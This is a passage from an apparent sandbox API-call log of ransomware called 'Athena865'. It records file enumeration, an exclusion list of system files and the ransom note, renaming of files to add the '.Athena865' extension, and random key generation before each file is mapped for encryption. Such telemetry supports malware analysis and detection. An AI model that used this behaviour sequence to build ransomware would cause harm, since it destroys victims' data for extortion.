out: hHeap=0x4f0000) returned 1 [0138.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.939] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.939] CloseHandle (hObject=0x154) returned 1 [0138.939] CloseHandle (hObject=0x17c) returned 1 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.939] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="..") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="windows") returned -1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootmgr") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="temp") returned -1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="pagefile.sys") returned -1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="boot") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ids.txt") returned 1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ntuser.dat") returned -1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="perflogs") returned -1 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2="MSBuild") returned -1 [0138.940] lstrlenW (lpString="J0285444.WMF") returned 12 [0138.940] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285444.WMF" | out: lpString1="J0285444.WMF") returned="J0285444.WMF" [0138.940] lstrlenW (lpString="J0285444.WMF") returned 12 [0138.940] lstrlenW (lpString="Athena865") returned 9 [0138.940] lstrcmpiW (lpString1="85444.WMF", lpString2="Athena865") returned -1 [0138.940] lstrlenW (lpString=".dll") returned 4 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".dll") returned 1 [0138.940] lstrlenW (lpString=".lnk") returned 4 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".lnk") returned 1 [0138.940] lstrlenW (lpString=".ini") returned 4 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".ini") returned 1 [0138.940] lstrlenW (lpString=".sys") returned 4 [0138.940] lstrcmpiW (lpString1="J0285444.WMF", lpString2=".sys") returned 1 [0138.940] lstrlenW (lpString="J0285444.WMF") returned 12 [0138.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.Athena865") returned 71 [0138.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.athena865"), dwFlags=0x1) returned 1 [0138.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.943] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9288) returned 1 [0138.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.943] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.944] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.944] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.944] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2750, lpName=0x0) returned 0x154 [0138.945] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2750) returned 0x100000 [0138.946] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.947] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.947] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.948] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.948] CloseHandle (hObject=0x154) returned 1 [0138.948] CloseHandle (hObject=0x17c) returned 1 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.948] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0138.948] lstrcmpiW (lpString1="J0285698.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.948] lstrcmpiW (lpString1="J0285698.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.948] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".") returned 1 [0138.948] lstrcmpiW (lpString1="J0285698.WMF", lpString2="..") returned 1 [0138.948] lstrcmpiW (lpString1="J0285698.WMF", lpString2="windows") returned -1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootmgr") returned 1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="temp") returned -1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="pagefile.sys") returned -1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="boot") returned 1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ids.txt") returned 1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ntuser.dat") returned -1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="perflogs") returned -1 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2="MSBuild") returned -1 [0138.949] lstrlenW (lpString="J0285698.WMF") returned 12 [0138.949] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285698.WMF" | out: lpString1="J0285698.WMF") returned="J0285698.WMF" [0138.949] lstrlenW (lpString="J0285698.WMF") returned 12 [0138.949] lstrlenW (lpString="Athena865") returned 9 [0138.949] lstrcmpiW (lpString1="85698.WMF", lpString2="Athena865") returned -1 [0138.949] lstrlenW (lpString=".dll") returned 4 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".dll") returned 1 [0138.949] lstrlenW (lpString=".lnk") returned 4 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".lnk") returned 1 [0138.949] lstrlenW (lpString=".ini") returned 4 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".ini") returned 1 [0138.949] lstrlenW (lpString=".sys") returned 4 [0138.949] lstrcmpiW (lpString1="J0285698.WMF", lpString2=".sys") returned 1 [0138.949] lstrlenW (lpString="J0285698.WMF") returned 12 [0138.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.Athena865") returned 71 [0138.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.athena865"), dwFlags=0x1) returned 1 [0138.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.951] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10770) returned 1 [0138.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.956] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.957] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.957] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.957] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d20, lpName=0x0) returned 0x154 [0138.958] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d20) returned 0x100000 [0138.959] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.960] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.960] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.961] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.961] CloseHandle (hObject=0x154) returned 1 [0138.961] CloseHandle (hObject=0x17c) returned 1 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.961] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="..") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="windows") returned -1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootmgr") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="temp") returned -1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="pagefile.sys") returned -1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="boot") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ids.txt") returned 1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ntuser.dat") returned -1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="perflogs") returned -1 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2="MSBuild") returned -1 [0138.962] lstrlenW (lpString="J0285750.WMF") returned 12 [0138.962] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285750.WMF" | out: lpString1="J0285750.WMF") returned="J0285750.WMF" [0138.962] lstrlenW (lpString="J0285750.WMF") returned 12 [0138.962] lstrlenW (lpString="Athena865") returned 9 [0138.962] lstrcmpiW (lpString1="85750.WMF", lpString2="Athena865") returned -1 [0138.962] lstrlenW (lpString=".dll") returned 4 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".dll") returned 1 [0138.962] lstrlenW (lpString=".lnk") returned 4 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".lnk") returned 1 [0138.962] lstrlenW (lpString=".ini") returned 4 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".ini") returned 1 [0138.962] lstrlenW (lpString=".sys") returned 4 [0138.962] lstrcmpiW (lpString1="J0285750.WMF", lpString2=".sys") returned 1 [0138.962] lstrlenW (lpString="J0285750.WMF") returned 12 [0138.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.Athena865") returned 71 [0138.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.athena865"), dwFlags=0x1) returned 1 [0138.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.964] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38284) returned 1 [0138.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.964] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.965] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.965] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.965] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9890, lpName=0x0) returned 0x154 [0138.967] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9890) returned 0x100000 [0138.969] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.970] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.970] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.971] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.971] CloseHandle (hObject=0x154) returned 1 [0138.971] CloseHandle (hObject=0x17c) returned 1 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="..") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="windows") returned -1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootmgr") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="temp") returned -1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="pagefile.sys") returned -1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="boot") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ids.txt") returned 1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ntuser.dat") returned -1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="perflogs") returned -1 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2="MSBuild") returned -1 [0138.972] lstrlenW (lpString="J0285926.WMF") returned 12 [0138.972] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0285926.WMF" | out: lpString1="J0285926.WMF") returned="J0285926.WMF" [0138.972] lstrlenW (lpString="J0285926.WMF") returned 12 [0138.972] lstrlenW (lpString="Athena865") returned 9 [0138.972] lstrcmpiW (lpString1="85926.WMF", lpString2="Athena865") returned -1 [0138.972] lstrlenW (lpString=".dll") returned 4 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".dll") returned 1 [0138.972] lstrlenW (lpString=".lnk") returned 4 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".lnk") returned 1 [0138.972] lstrlenW (lpString=".ini") returned 4 [0138.972] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".ini") returned 1 [0138.972] lstrlenW (lpString=".sys") returned 4 [0138.973] lstrcmpiW (lpString1="J0285926.WMF", lpString2=".sys") returned 1 [0138.973] lstrlenW (lpString="J0285926.WMF") returned 12 [0138.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.Athena865") returned 71 [0138.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.athena865"), dwFlags=0x1) returned 1 [0138.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.974] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13394) returned 1 [0138.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.975] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.975] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.975] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.976] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3760, lpName=0x0) returned 0x154 [0138.977] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3760) returned 0x100000 [0138.978] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.979] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.979] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 